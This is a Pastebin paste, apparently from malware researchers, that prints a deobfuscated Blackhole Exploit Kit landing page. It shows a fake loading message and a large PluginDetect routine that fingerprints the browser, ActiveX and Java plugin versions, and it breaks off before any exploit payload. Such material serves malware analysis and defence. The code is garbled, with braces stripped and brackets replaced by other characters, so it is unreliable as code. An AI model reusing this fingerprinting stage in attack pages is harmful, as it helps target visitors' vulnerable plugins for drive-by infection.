Advertisement
unixfreaxjp

BHEK Landing page Deobfs #MalwareMustDie

Sep 18th, 2012
216
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 67.67 KB | None | 0 0
  1. document.write('<center><h1>Please wait page is loading...</h1></center><hr>');
  2. function end_redirect()
  3. try
  4. var PluginDetect=
  5. version:"0.7.8",name:"PluginDetect",handler:function(c,b,a)
  6. return function()
  7. c(b,a)
  8. ,isDefined:function(b)
  9. return typeof b!="undefined"
  10. ,isArray:function(b)
  11. return(/array/i).test(Object.prototype.toString.call(b))
  12. ,isFunc:function(b)
  13. return typeof b=="function"
  14. ,isString:function(b)
  15. return typeof b=="string"
  16. ,isNum:function(b)
  17. return typeof b=="number"
  18. ,isStrNum:function(b)
  19. return(typeof b=="string"&&(/\d/).test(b))
  20. ,getNumRegx:/「\d」「\d\.\_,-」*/,splitNumRegx:/「\.\_,-」/g,getNum:function(b,c)
  21. var d=this,a=d.isStrNum(b)?(d.isDefined(c)?new RegExp(c):d.getNumRegx).exec(b):null;
  22. return a?a「0」:null
  23. ,compareNums:function(h,f,d)
  24. var e=this,c,b,a,g=parseInt;
  25. if(e.isStrNum(h)&&e.isStrNum(f))
  26. if(e.isDefined(d)&&d.compareNums)
  27. return d.compareNums(h,f)
  28. c=h.split(e.splitNumRegx);
  29. b=f.split(e.splitNumRegx);
  30. for(a=0;a<Math.min(c.length,b.length);
  31. a++)
  32. if(g(c「a」,10)>g(b「a」,10))
  33. return 1
  34. if(g(c「a」,10)<g(b「a」,10))
  35. return -1
  36. return 0
  37. ,formatNum:function(b,c)
  38. var d=this,a,e;
  39. if(!d.isStrNum(b))
  40. return null
  41. if(!d.isNum(c))
  42. c=4
  43. c--;
  44. e=b.replace(/\s/g,"").split(d.splitNumRegx).concat(「"0","0","0","0"」);
  45. for(a=0;a<4;a++)
  46. if(/^(0+)(.+)$/.test(e「a」))
  47. e「a」=RegExp.$2
  48. if(a>c||!(/\d/).test(e「a」))
  49. e「a」="0"
  50. return e.slice(0,4).join(",")
  51. ,$$hasMimeType:function(a)
  52. return function(c)
  53. if(!a.isIE&&c)
  54. var f,e,b,d=a.isArray(c)?c:(a.isString(c)?「c」:「」);
  55. for(b=0;b<d.length;b++)
  56. if(a.isString(d「b」)&&/「^\s」/.test(d「b」))
  57. f=navigator.mimeTypes「d「b」」;
  58. e=f?f.enabledPlugin:0;
  59. if(e&&(e.name||e.description))
  60. return f
  61. return null
  62. ,findNavPlugin:function(l,e,c)
  63. var j=this,h=new RegExp(l,"i"),d=(!j.isDefined(e)||e)?/\d/:0,k=c?new RegExp(c,"i"):0,a=navigator.plugins,g="",f,b,m;
  64. for(f=0;f<a.length;f++)
  65. m=a「f」.description||g;
  66. b=a「f」.name||g;
  67. if((h.test(m)&&(!d||d.test(RegExp.leftContext+RegExp.rightContext)))||(h.test(b)&&(!d||d.test(RegExp.leftContext+RegExp.rightContext))))
  68. if(!k||!(k.test(m)||k.test(b)))
  69. return a「f」
  70. return null
  71. ,getMimeEnabledPlugin:function(k,m,c)
  72. var e=this,f,b=new RegExp(m,"i"),h="",g=c?new RegExp(c,"i"):0,a,l,d,j=e.isString(k)?「k」:k;
  73. for(d=0;d<j.length;d++)
  74. if((f=e.hasMimeType(j「d」))&&(f=f.enabledPlugin))
  75. l=f.description||h;
  76. a=f.name||h;
  77. if(b.test(l)||b.test(a))
  78. if(!g||!(g.test(l)||g.test(a)))
  79. return f
  80. return 0
  81. ,getPluginFileVersion:function(f,b)
  82. var h=this,e,d,g,a,c=-1;
  83. if(h.OS>2||!f||!f.version||!(e=h.getNum(f.version)))
  84. return b
  85. if(!b)
  86. return e
  87. e=h.formatNum(e);
  88. b=h.formatNum(b);
  89. d=b.split(h.splitNumRegx);
  90. g=e.split(h.splitNumRegx);
  91. for(a=0;a<d.length;a++)
  92. if(c>-1&&a>c&&d「a」!="0")
  93. return b
  94. if(g「a」!=d「a」)
  95. if(c==-1)
  96. c=a
  97. if(d「a」!="0")
  98. return b
  99. return e
  100. ,AXO:window.ActiveXObject,getAXO:function(a)
  101. var f=null,d,b=this,c=
  102. };
  103. try
  104. f=new b.AXO(a)
  105. catch(d)
  106. return f
  107. ,convertFuncs:function(f)
  108. var a,g,d,b=/^「\$」「\$」/,c=this;
  109. for(a in f)
  110. if(b.test(a))
  111. try
  112. g=a.slice(2);
  113. if(g.length>0&&!f「g」)
  114. f「g」=f「a」(f);
  115. delete f「a」
  116. catch(d)
  117. ,initObj:function(e,b,d)
  118. var a,c;
  119. if(e)
  120. if(e「b「0」」==1||d)
  121. for(a=0;a<b.length;a=a+2)
  122. e「b「a」」=b「a+1」
  123. for(a in e)
  124. c=e「a」;
  125. if(c&&c「b「0」」==1)
  126. this.initObj(c,b)
  127. ,initScript:function()
  128. var c=this,a=navigator,e="/",f,i=a.userAgent||"",g=a.vendor||"",b=a.platform||"",h=a.product||"";c.initObj(c,「"$",c」);
  129. for(f in c.Plugins)
  130. if(c.Plugins「f」)
  131. c.initObj(c.Plugins「f」,「"$",c,"$$",c.Plugins「f」」,1)
  132. };
  133. c.OS=100;
  134. if(b)
  135. var d=「"Win",1,"Mac",2,"Linux",3,"FreeBSD",4,"iPhone",21.1,"iPod",21.2,"iPad",21.3,"Win.*CE",22.1,"Win.*Mobile",22.2,"Pocket\\s*PC",22.3,"",100」;
  136. for(f=d.length-2;f>=0;f=f-2)
  137. if(d「f」&&new RegExp(d「f」,"i").test(b))
  138. c.OS=d「f+1」;
  139. break
  140. c.convertFuncs(c);
  141. c.head=(document.getElementsByTagName("head")「0」||document.getElementsByTagName("body")「0」||document.body||null);
  142. c.isIE=(new Function("return "+e+"*@cc_on!@*"+e+"false"))();
  143. c.verIE=c.isIE&&(/MSIE\s*(\d+\.?\d*)/i).test(i)?parseFloat(RegExp.$1,10):null;
  144. c.ActiveXEnabled=false;
  145. if(c.isIE)
  146. var f,j=「"Msxml2.XMLHTTP","Msxml2.DOMDocument","Microsoft.XMLDOM","ShockwaveFlash.ShockwaveFlash","TDCCtl.TDCCtl","Shell.UIHelper","Scripting.Dictionary","wmplayer.ocx"」;
  147. for(f=0;f<j.length;f++)
  148. if(c.getAXO(j「f」))
  149. c.ActiveXEnabled=true;
  150. break
  151. c.isGecko=(/Gecko/i).test(h)&&(/Gecko\s*\/\s*\d/i).test(i);
  152. c.verGecko=c.isGecko?c.formatNum((/rv\s*\:\s*(「\.\,\d」+)/i).test(i)?RegExp.$1:"0.9"):null;
  153. c.isChrome=(/Chrome\s*\/\s*(\d「\d\.」*)/i).test(i);
  154. c.verChrome=c.isChrome?c.formatNum(RegExp.$1):null;
  155. c.isSafari=((/Apple/i).test(g)||(!g&&!c.isChrome))&&(/Safari\s*\/\s*(\d「\d\.」*)/i).test(i);
  156. c.verSafari=c.isSafari&&(/Version\s*\/\s*(\d「\d\.」*)/i).test(i)?c.formatNum(RegExp.$1):null;
  157. c.isOpera=(/Opera\s*「\/」?\s*(\d+\.?\d*)/i).test(i);
  158. c.verOpera=c.isOpera&&((/Version\s*\/\s*(\d+\.?\d*)/i).test(i)||1)?parseFloat(RegExp.$1,10):null;
  159. c.addWinEvent("load",c.handler(c.runWLfuncs,c))
  160. ,init:function(d)
  161. var c=this,b,d,a=
  162. status:-3,plugin:0
  163. };
  164. if(!c.isString(d))
  165. return a
  166. if(d.length==1)
  167. c.getVersionDelimiter=d;
  168. return a
  169. d=d.toLowerCase().replace(/\s/g,"");
  170. b=c.Plugins「d」;
  171. if(!b||!b.getVersion)
  172. return a
  173. a.plugin=b;
  174. if(!c.isDefined(b.installed))
  175. b.installed=null;
  176. b.version=null;
  177. b.version0=null;
  178. b.getVersionDone=null;
  179. b.pluginName=d
  180. c.garbage=false;
  181. if(c.isIE&&!c.ActiveXEnabled&&d!=="java")
  182. a.status=-2;
  183. return a
  184. a.status=1;
  185. return a
  186. ,fPush:function(b,a)
  187. var c=this;
  188. if(c.isArray(a)&&(c.isFunc(b)||(c.isArray(b)&&b.length>0&&c.isFunc(b「0」))))
  189. a.push(b)
  190. ,callArray:function(b)
  191. var c=this,a;
  192. if(c.isArray(b))
  193. for(a=0;a<b.length;a++)
  194. if(b「a」===null)
  195. return
  196. c.call(b「a」);
  197. b「a」=null
  198. ,call:function(c)
  199. var b=this,a=b.isArray(c)?c.length:-1;
  200. if(a>0&&b.isFunc(c「0」))
  201. c「0」(b,a>1?c「1」:0,a>2?c「2」:0,a>3?c「3」:0)
  202. else
  203. if(b.isFunc(c))
  204. c(b)
  205. ,getVersionDelimiter:",",$$getVersion:function(a)
  206. return function(g,d,c)
  207. var e=a.init(g),f,b,h=
  208. };
  209. if(e.status<0)
  210. return null
  211. };
  212. f=e.plugin;
  213. if(f.getVersionDone!=1)
  214. f.getVersion(null,d,c);
  215. if(f.getVersionDone===null)
  216. f.getVersionDone=1
  217. a.cleanup();
  218. b=(f.version||f.version0);
  219. b=b?b.replace(a.splitNumRegx,a.getVersionDelimiter):b;
  220. return b
  221. ,cleanup:function()
  222. var a=this;
  223. if(a.garbage&&a.isDefined(window.CollectGarbage))
  224. window.CollectGarbage()
  225. ,addWinEvent:function(d,c)
  226. var e=this,a=window,b;
  227. if(e.isFunc(c))
  228. if(a.addEventListener)
  229. a.addEventListener(d,c,false)
  230. else
  231. if(a.attachEvent)
  232. a.attachEvent("on"+d,c)
  233. else
  234. b=a「"on"+d」;
  235. a「"on"+d」=e.winHandler(c,b)
  236. ,winHandler:function(d,c)
  237. return function()
  238. d();
  239. if(typeof c=="function")
  240. c()
  241. ,WLfuncs0:「」,WLfuncs:「」,runWLfuncs:function(a)
  242. var b=
  243. };
  244. a.winLoaded=true;
  245. a.callArray(a.WLfuncs0);
  246. a.callArray(a.WLfuncs);
  247. if(a.onDoneEmptyDiv)
  248. a.onDoneEmptyDiv()
  249. ,winLoaded:false,$$onWindowLoaded:function(a)
  250. return function(b)
  251. if(a.winLoaded)
  252. a.call(b)
  253. else
  254. a.fPush(b,a.WLfuncs)
  255. ,$$onDetectionDone:function(a)
  256. return function(h,g,c,b)
  257. var d=a.init(h),k,e,j=
  258. };
  259. if(d.status==-3)
  260. return -1
  261. e=d.plugin;
  262. if(!a.isArray(e.funcs))
  263. e.funcs=「」
  264. if(e.getVersionDone!=1)
  265. k=a.isMinVersion?a.isMinVersion(h,"0",c,b):a.getVersion(h,c,b)
  266. if(e.installed!=-0.5&&e.installed!=0.5)
  267. a.call(g);
  268. return 1
  269. if(e.NOTF)
  270. a.fPush(g,e.funcs);
  271. return 0
  272. return 1
  273. ,div:null,divID:"plugindetect",divWidth:50,pluginSize:1,emptyDiv:function()
  274. var d=this,b,h,c,a,f,g;
  275. if(d.div&&d.div.childNodes)
  276. for(b=d.div.childNodes.length-1;b>=0;b--)
  277. c=d.div.childNodes「b」;
  278. if(c&&c.childNodes)
  279. for(h=c.childNodes.length-1;h>=0;h--)
  280. g=c.childNodes「h」;
  281. try
  282. c.removeChild(g)
  283. catch(f)
  284. if(c)
  285. try
  286. d.div.removeChild(c)
  287. catch(f)
  288. if(!d.div)
  289. a=document.getElementById(d.divID);
  290. if(a)
  291. d.div=a
  292. if(d.div&&d.div.parentNode)
  293. try
  294. d.div.parentNode.removeChild(d.div)
  295. catch(f)
  296. d.div=null
  297. ,DONEfuncs:「」,onDoneEmptyDiv:function()
  298. var c=this,a,b;
  299. if(!c.winLoaded)
  300. return
  301. if(c.WLfuncs&&c.WLfuncs.length&&c.WLfuncs「c.WLfuncs.length-1」!==null)
  302. return
  303. for(a in c)
  304. b=c「a」;
  305. if(b&&b.funcs)
  306. if(b.OTF==3)
  307. return
  308. if(b.funcs.length&&b.funcs「b.funcs.length-1」!==null)
  309. return
  310. for(a=0;a<c.DONEfuncs.length;a++)
  311. c.callArray(c.DONEfuncs)
  312. c.emptyDiv()
  313. ,getWidth:function(c)
  314. if(c)
  315. var a=c.scrollWidth||c.offsetWidth,b=this;
  316. if(b.isNum(a))
  317. return a
  318. return -1
  319. ,getTagStatus:function(m,g,a,b)
  320. var c=this,f,k=m.span,l=c.getWidth(k),h=a.span,j=c.getWidth(h),d=g.span,i=c.getWidth(d);
  321. if(!k||!h||!d||!c.getDOMobj(m))
  322. return -2
  323. if(j<i||l<0||j<0||i<0||i<=c.pluginSize||c.pluginSize<1)
  324. return 0
  325. if(l>=i)
  326. return -1
  327. try
  328. if(l==c.pluginSize&&(!c.isIE||c.getDOMobj(m).readyState==4))
  329. if(!m.winLoaded&&c.winLoaded)
  330. return 1
  331. if(m.winLoaded&&c.isNum(b))
  332. if(!c.isNum(m.count))
  333. m.count=b
  334. if(b-m.count>=10)
  335. return 1
  336. catch(f)
  337. return 0
  338. ,getDOMobj:function(g,a)
  339. var f,d=this,c=g?g.span:0,b=c&&c.firstChild?1:0;
  340. try
  341. if(b&&a)
  342. d.div.focus()
  343. catch(f)
  344. return b?c.firstChild:null
  345. ,setStyle:function(b,g)
  346. var f=b.style,a,d,c=this;
  347. if(f&&g)
  348. for(a=0;a<g.length;a=a+2)
  349. try
  350. f「g「a」」=g「a+1」
  351. catch(d)
  352. ,insertDivInBody:function(a,i)
  353. var h,f=this,b="pd33993399",d=null,j=i?window.top.document:window.document,c="<",g=(j.getElementsByTagName("body")「0」||j.body);
  354. if(!g)
  355. try
  356. j.write(c+'div id="'+b+'">o'+c+"/div>");
  357. d=j.getElementById(b)
  358. catch(h)
  359. g=(j.getElementsByTagName("body")「0」||j.body);
  360. if(g)
  361. if(g.firstChild&&f.isDefined(g.insertBefore))
  362. g.insertBefore(a,g.firstChild)
  363. else
  364. g.appendChild(a)
  365. if(d)
  366. g.removeChild(d)
  367. else
  368. ,insertHTML:function(g,b,h,a,l)
  369. var m,n=document,k=this,q,p=n.createElement("span"),o,j,f="<";
  370. var c=「"outlineStyle","none","borderStyle","none","padding","0px","margin","0px","visibility","visible"」;
  371. var i="outline-style:none;border-style:none;padding:0px;margin:0px;visibility:visible;";
  372. if(!k.isDefined(a))
  373. a=""
  374. if(k.isString(g)&&(/「^\s」/).test(g))
  375. g=g.toLowerCase().replace(/\s/g,"");
  376. q=f+g+' width="'+k.pluginSize+'" height="'+k.pluginSize+'" ';
  377. q+='style="'+i+'display:inline;" ';
  378. for(o=0;o<b.length;o=o+2)
  379. if(/「^\s」/.test(b「o+1」))
  380. q+=b「o」+'="'+b「o+1」+'" '
  381. q+=">";
  382. for(o=0;o<h.length;o=o+2)
  383. if(/「^\s」/.test(h「o+1」))
  384. q+=f+'param name="'+h「o」+'" value="'+h「o+1」+'" />'
  385. q+=a+f+"/"+g+">"
  386. else
  387. q=a
  388. if(!k.div)
  389. j=n.getElementById(k.divID);
  390. if(j)
  391. k.div=j
  392. else
  393. k.div=n.createElement("div");
  394. k.div.id=k.divID
  395. k.setStyle(k.div,c.concat(「"width",k.divWidth+"px","height",(k.pluginSize+3)+"px","fontSize",(k.pluginSize+3)+"px","lineHeight",(k.pluginSize+3)+"px","verticalAlign","baseline","display","block"」));
  396. if(!j)
  397. k.setStyle(k.div,「"position","absolute","right","0px","top","0px"」);
  398. k.insertDivInBody(k.div)
  399. if(k.div&&k.div.parentNode)
  400. k.setStyle(p,c.concat(「"fontSize",(k.pluginSize+3)+"px","lineHeight",(k.pluginSize+3)+"px","verticalAlign","baseline","display","inline"」));
  401. try
  402. p.innerHTML=q
  403. catch(m)
  404. };
  405. try
  406. k.div.appendChild(p)
  407. catch(m)
  408. };
  409. return
  410. span:p,winLoaded:k.winLoaded,tagName:g,outerHTML:q
  411. return
  412. span:null,winLoaded:k.winLoaded,tagName:"",outerHTML:q
  413. ,file:
  414. $:1,any:"fileStorageAny999",valid:"fileStorageValid999",save:function(d,f,c)
  415. var b=this,e=b.$,a;
  416. if(d&&e.isDefined(c))
  417. if(!d「b.any」)
  418. d「b.any」=「」
  419. if(!d「b.valid」)
  420. d「b.valid」=「」
  421. d「b.any」.push(c);
  422. a=b.split(f,c);
  423. if(a)
  424. d「b.valid」.push(a)
  425. ,getValidLength:function(a)
  426. return a&&a「this.valid」?a「this.valid」.length:0
  427. ,getAnyLength:function(a)
  428. return a&&a「this.any」?a「this.any」.length:0
  429. ,getValid:function(c,a)
  430. var b=this;
  431. return c&&c「b.valid」?b.get(c「b.valid」,a):null
  432. ,getAny:function(c,a)
  433. var b=this;
  434. return c&&c「b.any」?b.get(c「b.any」,a):null
  435. ,get:function(d,a)
  436. var c=d.length-1,b=this.$.isNum(a)?a:c;
  437. return(b<0||b>c)?null:d「b」
  438. ,split:function(g,c)
  439. var b=this,e=b.$,f=null,a,d;
  440. g=g?g.replace(".","\\."):"";
  441. d=new RegExp("^(.*「^\\/」)("+g+"\\s*)$");
  442. if(e.isString(c)&&d.test(c))
  443. a=(RegExp.$1).split("/");
  444. f=
  445. name:a「a.length-1」,ext:RegExp.$2,full:c
  446. };
  447. a「a.length-1」="";
  448. f.path=a.join("/")
  449. return f
  450. ,z:0
  451. ,Plugins:
  452. java:
  453. mimeType:「"application/x-java-applet","application/x-java-vm","application/x-java-bean"」,classID:"clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",navigator:
  454. a:window.navigator.javaEnabled(),javaEnabled:function()
  455. return this.a
  456. ,mimeObj:0,pluginObj:0
  457. ,OTF:null,minIEver:7,debug:0,debugEnable:function()
  458. var a=this,b=a.$;
  459. a.debug=1
  460. ,isDisabled:
  461. $:1,DTK:function()
  462. var a=this,c=a.$,b=a.$$;
  463. if((c.isGecko&&c.compareNums(c.verGecko,c.formatNum("1.6"))<=0)||(c.isSafari&&c.OS==1&&(!c.verSafari||c.compareNums(c.verSafari,"5,1,0,0")<0))||c.isChrome||(c.isIE&&!c.ActiveXEnabled))
  464. return 1
  465. return 0
  466. ,AXO:function()
  467. var a=this,c=a.$,b=a.$$;
  468. return(!c.isIE||!c.ActiveXEnabled||(!b.debug&&b.DTK.query().status!==0))
  469. ,navMime:function()
  470. var b=this,d=b.$,c=b.$$,a=c.navigator;
  471. if(d.isIE||!a.mimeObj||!a.pluginObj)
  472. return 1
  473. return 0
  474. ,navPlugin:function()
  475. var b=this,d=b.$,c=b.$$,a=c.navigator;
  476. if(d.isIE||!a.mimeObj||!a.pluginObj)
  477. return 1
  478. return 0
  479. ,windowDotJava:function()
  480. var a=this,c=a.$,b=a.$$;
  481. if(!window.java)
  482. return 1
  483. if(c.OS==2&&c.verOpera&&c.verOpera<9.2&&c.verOpera>=9)
  484. return 1
  485. if(c.verGecko&&c.compareNums(c.verGecko,"1,9,0,0")<0&&c.compareNums(c.verGecko,"1,8,0,0")>=0)
  486. return 1
  487. return 0
  488. ,allApplets:function()
  489. var b=this,d=b.$,c=b.$$,a=c.navigator;
  490. if(d.OS>=20)
  491. return 0
  492. if(d.verOpera&&d.verOpera<11&&!a.javaEnabled()&&!c.lang.System.getProperty()「0」)
  493. return 1
  494. if((d.verGecko&&d.compareNums(d.verGecko,d.formatNum("2"))<0)&&!a.mimeObj&&!c.lang.System.getProperty()「0」)
  495. return 1
  496. return 0
  497. ,AppletTag:function()
  498. var b=this,d=b.$,c=b.$$,a=c.navigator;
  499. return d.isIE?!a.javaEnabled():0
  500. ,ObjectTag:function()
  501. var a=this,c=a.$,b=a.$$;
  502. return c.isIE?!c.ActiveXEnabled:0
  503. ,z:0
  504. ,getVerifyTagsDefault:function()
  505. var a=this,c=a.$,b=「1,0,1」;
  506. if(c.OS>=20)
  507. return b
  508. if((c.isIE&&(c.verIE<9||!c.ActiveXEnabled))||(c.verGecko&&c.compareNums(c.verGecko,c.formatNum("2"))<0)||(c.isSafari&&(!c.verSafari||c.compareNums(c.verSafari,c.formatNum("4"))<0))||(c.verOpera&&c.verOpera<10))
  509. b=「1,1,1」
  510. return b
  511. ,getVersion:function(j,g,i)
  512. var b=this,d=b.$,e,a=b.applet,h=b.verify,k=b.navigator,f=null,l=null,c=null;
  513. if(b.getVersionDone===null)
  514. b.OTF=0;
  515. k.mimeObj=d.hasMimeType(b.mimeType);
  516. if(k.mimeObj)
  517. k.pluginObj=k.mimeObj.enabledPlugin
  518. if(h)
  519. h.begin()
  520. a.setVerifyTagsArray(i);
  521. d.file.save(b,".jar",g);
  522. if(b.getVersionDone===0)
  523. if(a.should_Insert_Query_Any())
  524. e=a.insert_Query_Any();
  525. b.setPluginStatus(e「0」,e「1」,f)
  526. return
  527. if((!f||b.debug)&&b.DTK.query().version)
  528. f=b.DTK.version
  529. if((!f||b.debug)&&b.navMime.query().version)
  530. f=b.navMime.version
  531. if((!f||b.debug)&&b.navPlugin.query().version)
  532. f=b.navPlugin.version
  533. if((!f||b.debug)&&b.AXO.query().version)
  534. f=b.AXO.version
  535. if(b.nonAppletDetectionOk(f))
  536. c=f
  537. if(!c||b.debug||a.VerifyTagsHas(2.2)||a.VerifyTagsHas(2.5))
  538. e=b.lang.System.getProperty();
  539. if(e「0」)
  540. f=e「0」;
  541. c=e「0」;
  542. l=e「1」
  543. b.setPluginStatus(c,l,f);
  544. if(a.should_Insert_Query_Any())
  545. e=a.insert_Query_Any();
  546. if(e「0」)
  547. c=e「0」;
  548. l=e「1」
  549. b.setPluginStatus(c,l,f)
  550. ,nonAppletDetectionOk:function(b)
  551. var d=this,e=d.$,a=d.navigator,c=1;
  552. if(!b||(!a.javaEnabled()&&!d.lang.System.getPropertyHas(b))||(!e.isIE&&!a.mimeObj&&!d.lang.System.getPropertyHas(b))||(e.isIE&&!e.ActiveXEnabled))
  553. c=0
  554. else
  555. if(e.OS>=20)
  556. else
  557. if(d.info&&d.info.getPlugin2Status()<0&&d.info.BrowserRequiresPlugin2())
  558. c=0
  559. return c
  560. ,setPluginStatus:function(d,f,a)
  561. var c=this,e=c.$,b;
  562. a=a||c.version0;
  563. if(c.OTF>0)
  564. d=d||c.lang.System.getProperty()「0」
  565. if(c.OTF<3)
  566. b=d?1:(a?-0.2:-1);
  567. if(c.installed===null||b>c.installed)
  568. c.installed=b
  569. if(c.OTF==2&&c.NOTF&&!c.applet.getResult()「0」&&!c.lang.System.getProperty()「0」)
  570. c.installed=a?-0.2:-1
  571. };
  572. if(c.OTF==3&&c.installed!=-0.5&&c.installed!=0.5)
  573. c.installed=(c.NOTF.isJavaActive(1)==1||c.lang.System.getProperty()「0」)?0.5:-0.5
  574. if(c.OTF==4&&(c.installed==-0.5||c.installed==0.5))
  575. if(d)
  576. c.installed=1
  577. else
  578. if(c.NOTF.isJavaActive(1)==1)
  579. if(a)
  580. c.installed=1;
  581. d=a
  582. else
  583. c.installed=0
  584. else
  585. if(a)
  586. c.installed=-0.2
  587. else
  588. c.installed=-1
  589. };
  590. if(a)
  591. c.version0=e.formatNum(e.getNum(a))
  592. if(d)
  593. c.version=e.formatNum(e.getNum(d))
  594. if(f&&e.isString(f))
  595. c.vendor=f
  596. if(!c.vendor)
  597. c.vendor=""
  598. if(c.verify&&c.verify.isEnabled())
  599. c.getVersionDone=0
  600. else
  601. if(c.getVersionDone!=1)
  602. if(c.OTF<2)
  603. c.getVersionDone=0
  604. else
  605. c.getVersionDone=c.applet.can_Insert_Query_Any()?0:1
  606. ,DTK:
  607. $:1,hasRun:0,status:null,VERSIONS:「」,version:"",HTML:null,Plugin2Status:null,classID:「"clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA","clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"」,mimeType:「"application/java-deployment-toolkit","application/npruntime-scriptable-plugin;DeploymentToolkit"」,disabled:function()
  608. return this.$$.isDisabled.DTK()
  609. ,query:function()
  610. var k=this,g=k.$,d=k.$$,j,l,h,m=
  611. ,f=
  612. ,a,c=null,i=null,b=(k.hasRun||k.disabled());
  613. k.hasRun=1;
  614. if(b)
  615. return k
  616. k.status=0;
  617. if(g.isIE&&g.verIE>=6)
  618. for(l=0;l<k.classID.length;l++)
  619. k.HTML=g.insertHTML("object",「"classid",k.classID「l」」,「」);
  620. c=g.getDOMobj(k.HTML);
  621. try
  622. if(c&&c.jvms)
  623. break
  624. catch(j)
  625. else
  626. if(!g.isIE&&(h=g.hasMimeType(k.mimeType))&&h.type)
  627. k.HTML=g.insertHTML("object",「"type",h.type」,「」);
  628. c=g.getDOMobj(k.HTML)
  629. if(c)
  630. try
  631. a=c.jvms;
  632. if(a)
  633. i=a.getLength();
  634. if(g.isNum(i))
  635. k.status=i>0?1:-1;
  636. for(l=0;l<i;l++)
  637. h=g.getNum(a.get(i-1-l).version);
  638. if(h)
  639. k.VERSIONS.push(h);
  640. f「"a"+g.formatNum(h)」=1
  641. catch(j)
  642. h=0;
  643. for(l in f)
  644. h++
  645. if(h&&h!==k.VERSIONS.length)
  646. k.VERSIONS=「」
  647. if(k.VERSIONS.length)
  648. k.version=g.formatNum(k.VERSIONS「0」)
  649. };
  650. return k
  651. ,AXO:
  652. $:1,hasRun:0,VERSIONS:「」,version:"",disabled:function()
  653. return this.$$.isDisabled.AXO()
  654. ,JavaVersions:「「1,9,1,40」,「1,8,1,40」,「1,7,1,40」,「1,6,0,40」,「1,5,0,30」,「1,4,2,30」,「1,3,1,30」」,query:function()
  655. var a=this,e=a.$,b=a.$$,c=(a.hasRun||a.disabled());
  656. a.hasRun=1;
  657. if(c)
  658. return a
  659. var i=「」,k=「1,5,0,14」,j=「1,6,0,2」,h=「1,3,1,0」,g=「1,4,2,0」,f=「1,5,0,7」,d=b.getInfo?true:false,l=
  660. };
  661. if(e.verIE>=b.minIEver)
  662. i=a.search(j,j,d);
  663. if(i.length>0&&d)
  664. i=a.search(k,k,d)
  665. else
  666. if(d)
  667. i=a.search(f,f,true)
  668. if(i.length==0)
  669. i=a.search(h,g,false)
  670. if(i.length)
  671. a.version=i「0」;
  672. a.VERSIONS=「」.concat(i)
  673. };
  674. return a
  675. ,search:function(a,j,p)
  676. var h,d,f=this,e=f.$,k=f.$$,n,c,l,q,b,o,r,i=「」;
  677. if(e.compareNums(a.join(","),j.join(","))>0)
  678. j=a
  679. j=e.formatNum(j.join(","));
  680. var m,s="1,4,2,0",g="JavaPlugin."+a「0」+""+a「1」+""+a「2」+""+(a「3」>0?("_"+(a「3」<10?"0":"")+a「3」):"");
  681. for(h=0;h<f.JavaVersions.length;h++)
  682. d=f.JavaVersions「h」;
  683. n="JavaPlugin."+d「0」+""+d「1」;
  684. b=d「0」+"."+d「1」+".";
  685. for(l=d「2」;l>=0;l--)
  686. r="JavaWebStart.isInstalled."+b+l+".0";
  687. if(e.compareNums(d「0」+","+d「1」+","+l+",0",j)>=0&&!e.getAXO(r))
  688. continue
  689. m=e.compareNums(d「0」+","+d「1」+","+l+",0",s)<0?true:false;
  690. for(q=d「3」;q>=0;q--)
  691. c=l+"_"+(q<10?"0"+q:q);
  692. o=n+c;
  693. if(e.getAXO(o)&&(m||e.getAXO(r)))
  694. i.push(b+c);
  695. if(!p)
  696. return i
  697. if(o==g)
  698. return i
  699. if(e.getAXO(n+l)&&(m||e.getAXO(r)))
  700. i.push(b+l);
  701. if(!p)
  702. return i
  703. if(n+l==g)
  704. return i
  705. return i
  706. ,navMime:
  707. $:1,hasRun:0,mimetype:"",version:"",length:0,mimeObj:0,pluginObj:0,disabled:function()
  708. return this.$$.isDisabled.navMime()
  709. ,query:function()
  710. var i=this,f=i.$,a=i.$$,b=(i.hasRun||i.disabled());
  711. i.hasRun=1;
  712. if(b)
  713. return i
  714. };
  715. var n=/^\s*application\/x-java-applet;
  716. jpi-version\s*=\s*(\d.*)$/i,g,l,j,d="",h="a",o,m,k=
  717. ,c=f.formatNum("0");
  718. for(l=0;l<navigator.mimeTypes.length;l++)
  719. o=navigator.mimeTypes「l」;
  720. m=o?o.enabledPlugin:0;
  721. g=o&&n.test(o.type||d)?f.formatNum(f.getNum(RegExp.$1)):0;
  722. if(g&&m&&(m.description||m.name))
  723. if(!k「h+g」)
  724. i.length++
  725. k「h+g」=o.type;
  726. if(f.compareNums(g,c)>0)
  727. c=g
  728. g=k「h+c」;
  729. if(g)
  730. o=f.hasMimeType(g);
  731. i.mimeObj=o;
  732. i.pluginObj=o?o.enabledPlugin:0;
  733. i.mimetype=g;
  734. i.version=c
  735. };
  736. return i
  737. ,navPlugin:
  738. $:1,hasRun:0,version:"",disabled:function()
  739. return this.$$.isDisabled.navPlugin()
  740. ,query:function()
  741. var m=this,e=m.$,c=m.$$,h=c.navigator,j,l,k,g,d,a,i,f=0,b=(m.hasRun||m.disabled());
  742. m.hasRun=1;
  743. if(b)
  744. return m
  745. };
  746. a=h.pluginObj.name||"";
  747. i=h.pluginObj.description||"";
  748. if(!f||c.debug)
  749. g=/Java.*TM.*Platform「^\d」*(\d+)(?:「\.,_」(\d*))?(?:\s*「Update」+\s*(\d*))?/i;
  750. if((g.test(a)||g.test(i))&&parseInt(RegExp.$1,10)>=5)
  751. f="1,"+RegExp.$1+","+(RegExp.$2?RegExp.$2:"0")+","+(RegExp.$3?RegExp.$3:"0")
  752. if(!f||c.debug)
  753. g=/Java「^\d」*Plug-in/i;
  754. l=g.test(i)?e.formatNum(e.getNum(i)):0;
  755. k=g.test(a)?e.formatNum(e.getNum(a)):0;
  756. if(l&&(e.compareNums(l,e.formatNum("1,3"))<0||e.compareNums(l,e.formatNum("2"))>=0))
  757. l=0
  758. if(k&&(e.compareNums(k,e.formatNum("1,3"))<0||e.compareNums(k,e.formatNum("2"))>=0))
  759. k=0
  760. d=l&&k?(e.compareNums(l,k)>0?l:k):(l||k);
  761. if(d)
  762. f=d
  763. if(!f&&e.isSafari&&e.OS==2)
  764. j=e.findNavPlugin("Java.*\\d.*Plug-in.*Cocoa",0);
  765. if(j)
  766. l=e.getNum(j.description);
  767. if(l)
  768. f=l
  769. };
  770. if(f)
  771. m.version=e.formatNum(f)
  772. };
  773. return m
  774. ,lang:
  775. $:1,System:
